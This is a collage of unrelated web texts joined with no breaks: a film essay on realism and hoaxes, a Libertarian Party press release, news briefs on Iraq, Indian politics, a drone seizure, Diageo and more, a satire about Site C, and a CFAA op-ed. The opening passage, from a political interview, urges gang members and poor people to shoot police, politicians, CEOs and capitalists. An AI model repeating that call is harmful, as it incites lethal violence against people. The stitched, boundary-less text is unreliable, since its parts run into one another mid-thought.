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violence and the greater misery and poverty in the urban centers, then we must be asking these questions. We have to create a culture where kids who rob banks for their hoods are glorified and treated as heroes and not gangsters that target the members of their own communities. We have to compete to create a new culture against that of the dominant culture.
In LA, during the rebellion in 1992, the Crips and Bloods formed a truce and decided to no longer gun down each other, but to turn their guns against the cops and capitalists. If that effort happened across the country, it could be the action that finally ends these horrific and predatory social, political and economic systems. That's a concept that is sure to enrage many a liberal, but it's also hard to argue with.
A firearm is just a tool, and it can be used to do many different things and inflict very many different outcomes. If the guns already exist, and our efforts at this moment in time to control them have done nothing to stop gun violence by poor folks against other poor folks, why not try to develop a different strategy?
If rednecks turned their guns on politicians and not migrants, if Crips turned their guns on CEOs and not Bloods, if poor folks turned their guns that they currently point at each other against our common class enemy, we may not have to live in a world of capitalist, statist, and racist exploitation and oppression.
This interview appeared at libcom.org.Take the movie everyone seemed to be talking about this fall. Is “The Social Network” accurate? Is it true? Do its polished surface and carefully engineered visual and sonic effects count as realism at all? Every commercial biopic invites this kind of scrutiny, and whenever a new one is released, someone publishes an article lining up the discrepancies between the historical record and the Hollywood version. Even before “The Social Network” was released, The New Yorker broke the news that Mark Zuckerberg (the real one, not the one played by Jesse Eisenberg) has had a steady girlfriend for most of the period covered in the film, a detail omitted from the movie, which makes much of its protagonist’s inability to sustain relationships, or even conversations, with women.
But the public surely knows — don’t we? do we? — that movies take liberties, and that the words “based on a true story” or “inspired by true events” appearing before the opening titles offer at best a loose and flimsy tether to reality. We are either sophisticated enough not to trust that what we see corresponds to what was, or jaded enough not to care. There may be an extra dose of cognitive dissonance when the biopic subject is, like Zuckerberg, still alive, not yet 30 and very much in the public eye. But surely we are used to that kind of feedback loop as well.
Other movies trod muddier ground, turning the question “Is it real?” into a kind of double dare. To ask the question is to risk seeming naïvely literal-minded; not to ask could make you a sucker. That, at least, was the trick attempted by Casey Affleck’s “I’m Still Here,” a multimedia publicity stunt wrapped around a transparently fake documentary. The subject of this carefully staged celebrity train wreck, Joaquin Phoenix, provoked much puzzlement with his infamously hairy and unhinged appearance on “The Late Show With David Letterman.” By the time he and Affleck revealed that the actor’s bizarre public behavior — rambling incoherently, growing a beard, announcing that he was forsaking acting for a career in hip-hop — was a put-on, and the movie a prank, pretty much everyone already knew and pretty much nobody cared. The attempt to make a point about the fungibility of identity in an age of shallow celebrity foundered because it was too obvious, too elementary. Pretending to be someone else, or a different version of yourself, in front of the cameras is no great feat or revelation. It’s a fairly normal mode of being, for the famous and the obscure.
And besides, the simple binary choice that Affleck and Phoenix offered viewers — earnest or ironic? hoax or not? — was much too unsophisticated. They were the ones who looked naïve for supposing that anyone would fall for their stunt. But “Catfish” and “Exit Through the Gift Shop,” two documentaries that premiered at Sundance in January, were more slippery. The credited director and, at least at first, the ostensible subject of “Exit” is Banksy, the artist whose conceptual graffiti are as recognizable as his face is unknown. But what begins as a tour of the world of international street art quickly becomes something else. A documentary about Banksy and his colleagues, directed by an amiable Los Angeles-based Frenchman named Thierry Guetta, turns into its opposite, as the would-be (and apparently incompetent) documentarian remakes himself into an art-world pseudo-celebrity known as Mr. Brainwash, whose rise to fame is dutifully recorded by Banksy himself.
Is Mr. Brainwash the perpetrator of a fraud, the subject of a prank or just an ordinary guy caught in the viewfinder of a crafty filmmaker? Similarly vertiginous questions surround the Michigan woman who turns out to be the title character in “Catfish.” The film’s directors, Ariel Shulman and Henry Joost, set out on the road with Ariel’s younger brother, Nev, to find an 8-year-old artistic prodigy and her seductive older half-sister, both of whom were Nev’s friends on Facebook. What they found was a case of mistaken — or rather deliberately manufactured — identity far more audacious and strange than anything Mr. Brainwash or Joaquin Phoenix could have imagined. The two girls were not exactly whole-cloth inventions, but in the form Nev had come to know them online, they were the alter egos of their mother, Angela Wesselman-Pierce, a fabulist of considerable talent and nerve.
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But the queasiness of “Catfish” — the suspicion that it is not entirely on the level — comes less from Wesselman-Pierce’s imposture than from the filmmakers’ response to it, which feels at the very least disingenuous. Wesselman-Pierce does not seem to be their creation, any more than Mr. Brainwash is Banksy’s brainchild, but the way the directors pivot from credulity to shock at her deceit does not entirely ring true. Surely, young adepts of the Internet like these New Yorkers would know better than to take Facebook self-representations at face value. By insisting otherwise, Joost and the Shulmans manage the trick of looking like patsies rather than cynical con men. For most of the movie, they sustain the idea that they (or at least Nev) are innocent dupes, even as their film is built on, and ends by affirming, the assumption that they are smarter and more sophisticated than Wesselman-Pierce.
It is hardly news that documentaries manipulate reality with effects that can be morally toxic. This danger is the subject of “A Film Unfinished,” Yael Hersonski’s remarkable exploration of the blurred line between propaganda and reportage. Uncovering footage that the Nazis took, and staged, in the Warsaw ghetto, Hersonski shows that what later generations have taken to be firsthand, raw images had instead passed through the machinery of ideological illusion making. They were real, but not exactly in the way they appeared to be.
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In that case, it is troubling to contemplate how easily we can be deceived. But more often, audiences consent to being fooled just for the fun of it. Horror movies, for decades ruled by the technical conservatism of the shock cut and the point-of-view shot, have rediscovered, almost a decade after “The Blair Witch Project,” the scary pleasures of the hoax. The first “Paranormal Activity,” purporting to be an amateur video recording of demonic possession, may not be surpassed for sheer, dumb formal ingenuity, but its influence has spread beyond its own sequel to the half-clever “Monsters” and the almost-clever “Last Exorcism,” both cheap sensations that crept in and out of theaters this year.
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The most radical reality effects today may come from young filmmakers who adopt an almost willfully guileless attitude toward the artifices of filmmaking, recording themselves and their friends playing people like themselves and their friends in situations barely distinguishable from ordinary existence. Mumblecore, as this tendency is unhappily called, has already moved beyond its D.I.Y. origins, infiltrating the comic mainstream most notably, this year, in “Cyrus,” a scruffy, icky domestic comedy that married the anti-technique of mumblecoreans Jay and Mark Duplass, who directed, with the awkward star power of Jonah Hill and John C. Reilly, who played variations on their usual roles as half-grown men looking for love and reassurance.
The undisciplined shooting and haphazard framing of “Cyrus” don’t look conventionally movielike, which makes the film puzzling, irritating and also, in its way, exemplary. The presence of professional movie stars in a film that looks so systematically amateurish in its disregard for (or plain ignorance of) the norms of cinematic craft may well be a sign of things to come, since the Duplasses’ antistyle represents an emerging aesthetic. This is perhaps easier to identify than to name, but you can see it working in small-scale projects like Lena Dunham’s “Tiny Furniture,” Benny and Josh Safdie’s “Daddy Longlegs” and Kentucker Audley’s “Open Five.”
What makes these movies interesting and difficult to assimilate is less the fact that they blur the line between real life and representation than the way they accomplish the blurring. “Open Five” may be notable mainly for shifting the landscape of aimless, youthful contemplation from the city to the countryside, but its record of the ambivalent desires and drifting ambitions of a group of friends is artful enough to be touching as well as vague. “Tiny Furniture” and “Daddy Longlegs,” autobiographical films about Manhattan children and their bohemian parents, present a similar — but at the same time, in each case, highly idiosyncratic — blend of coyness and sincerity. The scenes feel improvised; the stories emerge almost haphazardly out of long takes and meandering shots. Your expectation of seeing life framed, organized, made somehow more coherent, is teased, frustrated and sometimes thwarted outright. This is not entirely a pleasant or comfortable experience, and you may find yourself asking, Where is the art? Or even, What is the point? Can you just aim the camera at something that’s happening and call the result a movie? What else would you call it?
ONE OF THE best-known stories about the birth of movies — which has always seemed to me at least partly apocryphal, the way most such tales are — takes place in 1895 in a Paris cafe, where Auguste and Louis Lumière screened a film, scarcely a minute long, of a train arriving in Ciotat Station. Legend has it that the assembled public fled in panic, seized by the momentary belief that, in spite of the absence of either a railroad track or a soundtrack, an actual locomotive was bearing down on them.
This anecdote can be used to remind us of the now-unimaginable novelty of cinema, a strange and wonderful late-19th-century invention that must have seemed, at the time, to refute the very laws of physics. Or we can wonder (and laugh) at the naïveté of the audience, who supposedly failed to grasp the distinction between reality and representation that is so obvious to us now. We know better than to believe what we see.
But we also, sometimes willfully, let go of that knowledge, and it is possible to discern in the frenzied reaction of that ancient Parisian crowd the first recorded eruption of a distinctively modern form of pleasure. We may not be fooled by images, but maybe sometimes we would like to be. The Lumière brothers called their spectacles (the first of which showed workers filing out of the family’s factory) “actuality films,” and they have gone down in history as early instances of both the documentary and realist tendencies in cinema. As such, they stand in contrast with the roughly contemporary work of Georges Méliès, cinema’s first great fantasist, who famously used the nascent medium to conjure the imaginary and the impossible — voyages to the moon! extraordinary illusions! — rather than to capture what actually existed.
Now, more than 100 years later, the Mélièsian universe grows ever more crowded and elaborate. The refinement of digital special effects, displacing the camera with the computer, has only extended its domain. But at the same time, the Lumièresque urge to record, to use the camera to see rather than to dream, has itself been strengthened by new technologies, notably the ever-wider availability of cheap, portable, easy-to-use cameras. Everyone with a flip-cam or a cellphone can be a documentary filmmaker, or at least an Internet auteur. You want trains pulling into stations? YouTube has plenty of those, and an endless supply of babies doing cute, messy things with food, including the one in Lumière film No. 88, a 44-second tour de force called “Baby’s Lunch.”
The appetite for actuality has hardly waned, but it remains an unstable, contradictory hunger, compounded of doubt and credulity, the will to believe and the wish to be tricked. This observation can easily be applied to the realm of politics and media at large — where every supposed debunking seems to produce its own kind bunk, and where the idea of reality television flips from oxymoron to tautology in the space of a commercial break — but let’s stay with the movies for now. What did you see this year? And more to the point: What did you believe?For Immediate Release
Convention theme: #LegalizeFreedom
WASHINGTON, D.C. — All eyes will be on the Libertarian Party National Convention from May 26 through May 30 at the Rosen Centre Hotel in Orlando. With the theme, ‘Legalize Freedom,’ the convention will draw delegates from across the country to select the candidate who will challenge the Republican and Democratic nominees, whose front-runners are both candidates with the lowest approval ratings ever to represent their respective parties.
‘The Libertarian Party is poised to have a breakout year,’ said LNC Chair Nicholas Sarwark, ‘in an election when the two old parties are putting up candidates with some of the poorest public-opinion numbers in any modern election. In light of voters’ extreme disillusionment, I anticipate this will be one of our most exciting conventions ever.’
Key events include:
Convention will open with a reception on Thursday, May 26 at 6:30 P.M.
Business session will be called to order on Friday morning, May 27, the agenda to include the party’s Bylaws and Platform Committees’ reports.
A vice-presidential debate will be held on Friday evening at 7:00 P.M.
Presidential nominations will start approximately 3:00 P.M. on Saturday, May 28.
A televised presidential debate will be held on Saturday evening at 8:00 P.M.
Delegates will select the presidential nominee on Sunday morning, May 29, followed by the vice-presidential nominations and election.
Sunday evening will feature the presidential reception at 7:00 P.M. and banquet at 8:00 P.M.
The business session will conclude on Monday, May 30.
A detailed schedule is available here.
‘Right now I’m expecting up to 1,000 delegates to be seated at the convention; every day our count is increasing,’ Sarwark remarked. ‘No matter which candidate the delegates choose to nominate, he or she will be the only candidate on every single American voter’s ballot running on a platform of supporting their right to live their life in any way they want, as long as they don’t hurt anyone else and don’t take their stuff.’
Click here to learn how the Libertarian Party selects its presidential and VP nominees.
The Libertarian Party was founded in 1972, and is today the third largest political party in the United States. Millions of Americans have voted for Libertarian Party candidates in elections throughout the country, despite the fact that many state governments place roadblocks in order to keep alternative parties’ candidates off the ballot and deprive voters of a real choice.
Additional information about the convention is located at www.LP.org/convention. For guest rooms in the area (the Rosen Centre has sold out), click here.
Members of the press who plan to attend this event are requested to visit the convention web site to obtain additional information and to request press credentials.The news came as Iraqi Prime Minister Nouri Maliki visited the UAE The United Arab Emirates has cancelled the entire debt owed to it by Iraq - a sum of almost $7bn (£3.5bn) including interest and arrears. The Gulf state also appointed a new ambassador to Iraq, in a move which eases Baghdad's diplomatic isolation. The news was announced during a visit by Iraqi Prime Minister Nouri Maliki. Correspondents say Iraq's Sunni Arab neighbours have been wary of fostering ties with Iraq's mainly Shia government because of its links with Iran. Last month, the UAE's foreign minister became the highest-ranking official from an Arab nation to visit Iraq since the US-led invasion in 2003. The US has been pushing its Arab allies to send ambassadors to Iraq to bolster Mr Maliki's government. Soon after Mr Maliki arrived on his two-day visit, the UAE named its former envoy to India, Abdullah al-Shehi, as its new ambassador to Baghdad. Better relations The BBC's Jim Muir in Baghdad says the debt cancellation is a welcome move for Iraq. Like other Sunni Arab states, the UAE had downgraded its representation in Baghdad, in part because of the security situation - a number of Arab diplomats had been kidnapped or killed. That downgrading also reflected unease that the Iraqi government seemed to be dominated by Shiites and Kurds, who are minorities in the wider Arab world, our correspondent says. But the recent Iraqi government crack-down on Shia militias, especially the Mehdi Army of Moqtada Sadr, has impressed Iraqi Sunnis, and their sympathisers beyond the borders, he says. This means the Baghdad government believes it is a good moment to push for better relations with the Arab states, our correspondent adds. Royal visit Mr Maliki used a UN forum on Iraq, held in May, to call for debt cancellation, mainly from Arab nations. Iraq's debt has been reduced by about $66.5bn over the past three years, not taking into account Sunday's announcement by the UAE, according to the US state department. Of that, the Paris Club of 19 developed countries cancelled some $43.2bn. Iraq's foreign debts currently total up to $80bn, Reuters news agency says, with Saudi Arabia and Kuwait among the biggest creditors. In another sign that its diplomatic isolation may be easing, the Iraqi government has said it expects a visit soon from Jordan's King Abdullah. He would be the first Arab head of state to visit Iraq since the 2003 invasion.
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StumbleUpon What are these?Anthony Bernard Hickey faces charges of grand theft, burglary and damage to property after Infinite Energy was burglarized May 21.
Sheriff's deputies say a burglar made himself at home in a Gainesville business last month, stealing a carton of milk and a throw blanket.
Anthony Bernard Hickey, 34, was arrested on charges of grand theft, burglary and damage to property after Infinite Energy was burglarized May 21, according to an Alachua County Sheriff’s Office arrest report.
Hickey, the arrest report says, used a rock to break a glass door to the business on Southwest 24th Avenue. A TV, a TV remote, a gray throw blanket and a carton of milk, totaling $820 in value, were reported stolen.
Surveillance video showed Hickey walking inside Infinite Energy, eating food and drinking milk. He was there for about 19 hours.
Hickey was being held in the Alachua County jail. His bond was not set as of Thursday morning.The title to this page is a joke, but how bizarre would it be if Sydney started shooting cupcakes out of the PPO? It might tell her something about the origin of the orbs though. She’d be popular with bachelorette parties. And at… well, lots of places. I mean, who doesn’t like cupcakes? Ooh, especially if someone made a coffee cake cupcake? That’d be… I guess that would be a muffin technically. Ooh! Unless there was cinnamon frosting on it. Oh boy that’d be good. Unless it was too much cinnamon. Do they make butter flavored frosting? Cause that’s something butter needs. 9 parts powdered sugar.
But I digress.
Well, Sydney might get in a little trouble for not spending her point in the agreed upon manner but on the other hand, she’s gotten two skill points in under a week. If that remains a constant she’ll have half the skilltree unlocked by the time she makes private. Hopefully Max and Zephan won’t be too upset with her, at least for that. Locking up while Pixel exited stage left is another story.
Double res version will be posted over at Patreon. $1 and up, but feel free to contribute as much as you like. Patreon donations might count as some kind of tax write off. I don’t know. Definitely ask a tax professional about that. But in the meantime, donate like you’re trying to get into a different tax bracket!Vancouver, BC – Vancouver Canucks General Manager Jim Benning announced today that the club has recalled defenceman Yannick Weber and centre Alex Friesen from the AHL Utica Comets.
Weber, 27, has appeared in 35 games for the Canucks this season, where he has registered five assists (0-5-5) along with 24 penalty minutes. In 2014.15, Weber played in 65 games for the Canucks, where he notched 21 points (11-10-21) and led Vancouver defencemen in goals and powerplay goals (5).
The 5’11”, 200-pound defenceman has appeared in 264 career NHL games split between the Canucks and Canadiens, recording 68 points (22-46-68) along with 122 penalty minutes. He has also registered four points (3-1-4) in 12 career playoff games.
Friesen, 25, has collected 18 points (8-10-18) and 55 penalty minutes in 41 games in his third year with the Comets this season. The St. Catharines, Ontario native was selected in the sixth round, 172nd overall in the 2010 NHL Entry Draft by the Vancouver Canucks.I am amazed by the Media attention given to a minor incident involving Robert Vadhra. Why a private Citizen being unnecessarily hounded? — digvijaya singh (@digvijaya_28) November 2, 2014
If he has violated any Law Prosecute him. If has ill gotten wealth confiscate it, but this unnecessary media attention is not justified. — digvijaya singh (@digvijaya_28) November 2, 2014
If he has violated any Law Prosecute him. If has ill gotten wealth confiscate it, but this unnecessary media attention is not justified. — digvijaya singh (@digvijaya_28) November 2, 2014
NEW DELHI: Congress chief Sonia Gandhi met her son-in-law Robert Vadra on Sunday, a day after he heaped fresh embarrassment on the party by seeking to intimidate a reporter who questioned him on his land deals. The Congress rushed to Vadra’s defence even as BJP and Aam Aadmi Party criticized him for his aggressive behaviour.Sonia visited her daughter Priyanka’s Lodhi Estate residence and spent close to half-an-hour there while the Congress backed Vadra, saying “repeated hounding” of an individual on an issue rejected by courts was not appropriate and advised the media to avoid the “unpleasantness” of shooting questions at private functions.Congress also highlighted Prime Minister Narendra Modi's brushes with the media when he was Gujarat chief minister while alleging that the entire episode was being propagated as a “political agenda for obvious reasons” which could not be considered either fair or proper.“Indian Constitution and our established ethos guarantee right of privacy, personal space and liberty to all individuals, more so, when a person is neither in public life nor holds any public office. Unpleasantness of repeatedly asking questions at private functions, like what happened with Robert Vadra yesterday, must be avoided at all times,” AICC spokesman Randeep Singh Surjewala said.Robert Vadra.Congress general secretary Digvijaya Singh tweeted, “Why is a private citizen being unnecessarily hounded? If he has violated any law, prosecute him. If he has ill gotten wealth, confiscate it, but this unnecessary media attention is not justified.”Rubbishing the defence, BJP leader Shahnawaz Hussain said Vadra was not a private citizen. “Vadra is not a private person. If he had been a private person, then he would not have got the privileges in Haryana, neither he would have got privileges at airports,” he said.BJP spokesman Sambit Patra said it was Vadra's “sheer frustration” that caused this inappropriate behaviour. “Vadra was the one who had called India a banana republic and we Indians as mango people but it is time that we make him realize that India is no more a banana republic which was ruled by the first family of the Congress,” Patra said.From left: Rahul Gandhi, Robert Vadra, Priyanka Gandhi and Sonia Gandhi.AAP leader Yogendra Yadav was quoted by an agency as saying that Vadra's snapping at the reporter showed the Gandhi family's “arrogance was intact” and “they needed to be taught more lessons”.On Saturday, Vadra lost his cool and pushed aside a reporter’s microphone at a function to inaugurate an exhibition on gym equipment when he was quizzed about his controversial land deals. He also directed Delhi Police personnel guarding him to seize the reporter's camera and delete the visuals.While the cops could not delete the contents, the reporter insisted on return of his camera and got it back. The reporter was at the function on the invitation of the organizers and Vadra had even answered his first question related to gym equipment before blowing his top.Congress president Sonia Gandhi.Backing Vadra, Congress spokesman Surjewala said while rejecting a PIL of a “BJP sympathizer” against Vadra, the Supreme Court had said, “We won't allow you to destroy someone's reputation. Merely because someone is related to a politician, you cannot call him a sinner.”He added, “I want to remind leaders of BJP and friends of the media as to how none less than the current prime minister (the then chief minister) Narendra Modi had removed the mike and walked out of a pre-fixed interview with a leading journalist who questioned him about Gujarat riots.”The Comptroller and Auditor General has faulted Vadra over his land deals in Haryana, saying he reaped nearly Rs 44 crore in windfall gains because an indulgent Congress government allowed him to do so in breach of law, and did not insist on recovering Rs 41.51 crore of the profit he made by quickly selling the land to DLF Universal.A woman overdosed in a Colerain Township Chuck E. Cheese’s bathroom, according to court documents. Michelle Wagner, 34, of Batesville, Indiana, faces two counts of child endangerment. Authorities said she overdosed in the bathroom while her children, ages 5 and 7, were playing in the restaurant. The overdose was reported Tuesday at Chuck E. Cheese’s in the 8800 block of Colerain Avenue. Wagner admitted to snorting heroin and overdosing in the bathroom, according to court documents. Her bond was set Wednesday morning at $5,000.
A woman overdosed in a Colerain Township Chuck E. Cheese’s bathroom, according to court documents.
Michelle Wagner, 34, of Batesville, Indiana, faces two counts of child endangerment. Authorities said she overdosed in the bathroom while her children, ages 5 and 7, were playing in the restaurant.
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The overdose was reported Tuesday at Chuck E. Cheese’s in the 8800 block of Colerain Avenue.
Wagner admitted to snorting heroin and overdosing in the bathroom, according to court documents.
Her bond was set Wednesday morning at $5,000.
AlertMeBeijing: China`s Defence Ministry said on Saturday it had been in talks with the United States about returning an underwater drone taken by a Chinese naval vessel in the South China Sea, but the US was not helping by "hyping up" the issue.
The drone was taken on Thursday, the first seizure of its kind in recent memory, about 50 nautical miles northwest of Subic Bay off the Philippines, just as the USNS Bowditch was about to retrieve the unmanned underwater vehicle (UUV), US officials said.
The Defence Ministry said a Chinese naval vessel discovered a piece of "unidentified equipment" and checked it to prevent any navigational safety issues, before discovering it was a U.S. drone.
"China decided to return it to the U.S. side in an appropriate manner, and China and the U.S. have all along been in communication about it," the ministry said on its website.
"During this process, the U.S. side`s unilateral and open hyping up is inappropriate, and is not beneficial to the smooth resolution of this issue. We express regret at this," it added.
U.S. President-elect Donald Trump weighed in to the row on Saturday, tweeting: "China steals United States Navy research drone in international waters - rips it out of water and takes it to China in unprecedented act."
Without directly saying whether the drone was operating in waters China considers its own, the ministry said U.S. ships and aircraft have for a long period been carrying out surveillance and surveys in "the presence" of Chinese waters.
"China is resolutely opposed to this, and demands the U.S. stops this kind of activity," it said.
China will remain on alert for these sorts of activities and take necessary steps to deal with them, the ministry said without elaborating.
Earlier, the Global Times, published by the ruling Communist Party`s official People`s Daily, cited an unidentified Chinese source as saying they believed the issue would be resolved smoothly.
The United States says the drone was operating lawfully.
"The UUV was lawfully conducting a military survey in the waters of the South China Sea," a U.S. official said, speaking on condition of anonymity. "It`s a sovereign immune vessel, clearly marked in English not to be removed from the water - that it was U.S. property," the official said.
The Pentagon confirmed the incident at a news briefing on Friday, and said the drone used commercially available technology and sold for about $150,000.
Still, the Pentagon viewed China`s seizure seriously since it had effectively taken U.S. military property.
"It is ours, and it is clearly marked as ours and we would like it back. And we would like this not to happen again," Pentagon spokesman Jeff Davis said.
HEIGHTENED CONCERNS
The seizure will add to concerns about China`s increased military presence and aggressive posture in the disputed South China Sea, including its militarization of maritime outposts.
A U.S. research group said this week that new satellite imagery indicated China has installed weapons, including anti-aircraft and anti-missile systems, on all seven artificial islands it has built in the South China Sea.
The drone seizure coincided with sabre-rattling from Chinese state media and some in its military establishment after Trump cast doubt on whether Washington would stick to its nearly four-decades-old policy of recognising that Taiwan is part of "one China."
Those comments came after Trump took a telephone call from Taiwan President Tsai Ing-wen on Dec. 2, prompting a diplomatic protest from China.
President Barack Obama said on Friday it was appropriate for Trump to take a fresh look at US policy toward Taiwan, but he cautioned that a shift could lead to significant consequences in the U.S. relationship with Beijing, as the notion that Taiwan is part of "one China" is central to China`s view of itself as a nation.The artificial muscles are made up of a plastic inner skeleton surrounded by air or water inside a sealed bag -- the "skin". Applying a vacuum to the inside of the bag initiates the muscle's movement, creating tension that drives the motion. No power source or human input is needed to direct the muscle, as it's guided purely by the composition of the skeleton.
In experiments, the researchers created muscles that can lift a flower off the ground, twist into a coil and contract down to 10 percent of their original size. They even made a muscle out of a water-soluble polymer, which means the technology could be used in natural setting with minimal environmental impact. Other potential applications include deep sea research, minimally invasive surgery and transformable architecture.
The muscles are scalable -- the team built them at sizes ranging from a few millimeters up to a meter -- and cheap to produce. A single muscle can be made in under ten minutes for less than a dollar. Even the research team itself was surprised by how effective the technology is. "We were very surprised by how strong the muscles were. We expected they'd have a higher maximum functional weight than ordinary soft robots, but we didn't expect a thousand-fold increase," said CSAIL director Daniela Rus. "It's like giving these robots superpowers."Smirnoff and Johnnie Walker drinks giant Diageo is reportedly being investigated by the Securities and Exchange Commission over allegations it tried to artificially boost sales figures by shipping excess inventory to distributors.
Sending more cases to distributors than they have ordered could potentially have allowed Diageo to report increased sales and shipments.
The British company, the world’s largest producer of spirits, confirmed to the Wall Street Journal, which first reported the story, that it was cooperating with the SEC on an investigation. “Diageo has received an inquiry from the US Securities and Exchange Commission regarding its distribution in the United States. Diageo is working to respond fully to the SEC’s requests for information in this matter,” the company said in a statement. The SEC declined to comment.
The inquiry comes at a sensitive moment for Diageo. Last month the company’s shares soared after reports that Brazil’s richest man, billionaire deal-maker Jorge Paulo Lemann, was considering a takeover. Lemann has led a series of ever larger brewery takeovers culminating in 2004’s merger of Brazil’s AmBev with Belgium’s Interbrew to create the world’s largest beer company. Diageo owns Guinness as well as its portfolio of spirits and wine brands.
The takeover rumour coincided with the announcement that North American president Larry Schwartz would be retiring by the end of the year. Diageo has since announced the departures of its chief marketing officer for North America and a president of national accounts in the US.
North America accounts for about a third of Diageo’s $17.58bn in sales and around 45% of operating profit. Sales have been in decline in the region since 2011. Next week the company will release its second-quarter results and is likely to be quizzed further by shareholders and analysts about the SEC inquiry.A New Internet Domain: Extortion Or Free Speech?
A rash of new Web domain suffixes has popped up in recent years to supplement.com and.net — terms such as.bargains or.dating.
Several new suffixes seem to invite negative feedback. There are.gripe and.fail. There's even.wtf — a colorful variation on "what the heck." And soon, there will be.sucks.
J. Scott Evans says his objection isn't that it sounds whiny — it's the price. Evans is associate general counsel at Adobe Systems, and for a trademark owner like his to claim Adobe.sucks would cost $2,500 a year. That's more than 100 times the typical fee.
"If the brands have the concern, they're acquiring it."
"I basically think it's extortion," Evans says.
Adobe purchased relevant suffixes like.photo, Evans says, but it will not buy defensively to protect the brand. "We are not going to participate in any sort of extortion scheme," he says.
Someone else may register the name. But, Evans says, there's a remedy:
"I told my people the best way not to get included is not to suck," he says.
But most companies don't want to risk giving up control, says Elisa Cooper, vice president at MarkMonitor, which helps monitor brand reputation. "If the brands have the concern, they're acquiring it," she says.
Brands that block others from using their name include Wal-Mart, Hotmail and insurance giant AIG.
By and large, Cooper says, these folks aren't pleased. "Oh, they are furious," she says.
They don't want their brands abused. But they're also aware that by paying up, they foster an unwanted industry.
"If it's shown that this is a profitable situation, you can imagine that there'll probably be others that copy it in the future," Cooper says.
The administrator of the new registry is a company called Vox Populi. Its CEO, John Berard, says the annual $2,500 fee is a relative steal.
"A little over year ago, we were contemplating a price of $25,000," he says.
He says Vox Populi, as the name suggests, gives the people a voice. Its ad includes rousing clips from Martin Luther King Jr.'s speeches and an endorsement from political activist Ralph Nader:
"The word sucks is now a protest word. And it's up to people to give it more meaning," Nader says in the video.
Berard says he expects companies will use these sites to engage with their customers.
"It's our belief that if a company chooses to register its name in the.sucks domain, that it will cultivate it as a clean well-lighted place for criticism, for better understanding," he says.
Independent activists who want to use the suffix and pledge to blog can pay as little as $10 a year.
"If you're trying to get someone's attention to make a point, or to be heard, it's possible that the sharper edge of a.sucks domain could be just |
you plan on buying him low right now, I wouldn’t get your hopes up.
I see Ridley as a year-long bust in 2013.
Adam Pfeifer is a featured fantasy sports columnist for Rant Sports.
You can follow him on Twitter @aPfeiferRS.InterGlobe Aviation, which runs the low-cost carrier IndiGo, has expressed an interest in acquiring the loss-making Air India. Civil aviation secretary RN Choubey said on Thursday that the company has written a letter to the ministry.
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The Cabinet had on Wednesday given an in-principle nod to the disinvestment of Air India. The final modalities of the divestment, including the quantum of stake sale, would be formalised by a group of ministers headed by finance minister Arun Jaitley. Confirming the development, IndiGo said in a statement, “As the Indian government embarks on the journey of privatising Air India, and given IndiGo’s track record of creating a consistently profitable airline with a strong balance sheet, kindly treat this letter as our expression of interest in acquiring the international operations of Air India and Air India Express. Alternatively we are equally interested in acquiring all of the airlines operations of Air India and Air India Express.”
Air India has 12,000 employees and 118 aircraft, all on lease.
IndiGo currently commands a 40 per cent share of the Indian market, the world’s third-largest and fastest growing. Analysts forecast domestic passenger volumes will grow at a compounded 13 per cent between 2016 and 2026, ahead of the 11.6 per cent clocked between 2006 and 2016. In 2016, passenger volumes hit 100 million, ahead of Japan’s 97 million but way below that in China and the US. Penetration – defined by the number of annual seats per capita — remains relatively poor even compared with developing economies such as Brazil or Turkey.
IndiGo’s profit in 2016-17 fell 16.46 per cent to Rs 1,662 crore but the carrier is expected to generate free cash flows of upwards of Rs 3,000 crore in the current year. The airline’s revenues are estimated at a little under Rs 25,000 crore, on the back of an increase in the average ticket price. Profits are tipped to be around Rs 2,500 crore.
(With inputs from FE)VICTORIA – In attempt to ease some public disappointment in his decision to go forward with the Site C Dam, BC Premier John Horgan has said that his government is still committed to working with, and subsequently flooding BC First Nations and farmers.
“I am not the first person to stand before you and inundate Indigenous people,”“explained Horgan at a press conference. “But look on the bright side; we’re still committed to working with these communities while simultaneously forcing them out with a rush of floodwaters.”
The Premier said that he won’t hesitate to build consensus with the farmers on which is the best direction to flee while 15 feet of diverted water washes away their century-old family homesteads.
“And, yes, some of my MLAs may have made a campaign promise to halt the Site C Dam construction, but that was to show solidarity as an opposition party,” added Horgan. “Now we’re in government, so the best way to show that we respect treaty rights is to offer them a lake-front property they’ve never asked for.”
Horgan also added his NDP government will continue to follow a path to reconciliation and would be willing to meet with all First Nations leaders in on their traditional territory before it too becomes a floodplain.Four-star CB William Poole III was expected to make a decision about what school he would attend this spring.
But following a visit to Florida over the weekend, it looks like he’s not quite ready to make a decision after all.
Here’s the message he posted to Twitter on Sunday night:
I'm not making any commitment that I will later regret. I know I've stated for one to soon be coming, but I need to re-evaluate everything. — William Poole III (@__WP3) March 14, 2016
Poole, who is the No. 100 rated player in the 247Sports composite rankings for the 2017 recruiting class, was believed to be heavily favoring a commitment to Kirby Smart’s Georgia program prior to the delayed announcement.
The Atlanta, Ga. native took a picture with Gators CB Jalen Tabor during his trip to Gainesville over the weekend:
https://twitter.com/__WP3/status/708435503469699073
Poole spoke to 247Sports’ Rusty Mansell about the trip.
“It was great,” Poole said. “It was nice. I’ve been trying to get up there for a long time, and to finally get up there, they showed me everything. It was amazing, I fell in love with the place.”
It is refreshing to see a kid take a step back and refrain from making a commitment if he’s unsure of his choice.Before Edward Snowden showed up, 2013 was shaping up as the year of reckoning for the much criticized federal anti-hacking statute, the Computer Fraud and Abuse Act (“CFAA”). The suicide of Aaron Swartz in January 2013 brought the CFAA into mainstream consciousness, so Congress held hearings about the case, and legislative fixes were introduced to change the law.
>Recognizing the powerful capabilities of modern computing and networking has resulted in 'cyber panic' in legislatures and prosecutor offices across the country.
Finally, there seemed to be a newfound scrutiny of CFAA prosecutions and punishment for accessing computer data without or in excess of “authorization” – which affected everyone from Chelsea Manning to Jeremy Hammond to Andrew “Weev” Auernheimer (disclosure: I'm one of his lawyers on appeal). Not to mention less illustrious personalities and everyday users, such as people who delete cookies from their browsers.
But unfortunately, not much has changed; if anything, the growing recognition of the powerful capabilities of modern computing and networking has resulted in a “cyber panic” in legislatures and prosecutor offices across the country. Instead of reexamination, we’ve seen aggressive charges and excessive punishment.
This cyber panic isn’t just a CFAA problem. In the zeal to crack down on cyberbullying, legislatures have passed overbroad laws criminalizing speech clearly protected by the First Amendment. This comes after one effort to use the CFAA to criminalize cyberbullying – built on the premise that *violating a website’s terms of service *was unauthorized access, or the equivalent of hacking – was thrown out as unconstitutionally vague.
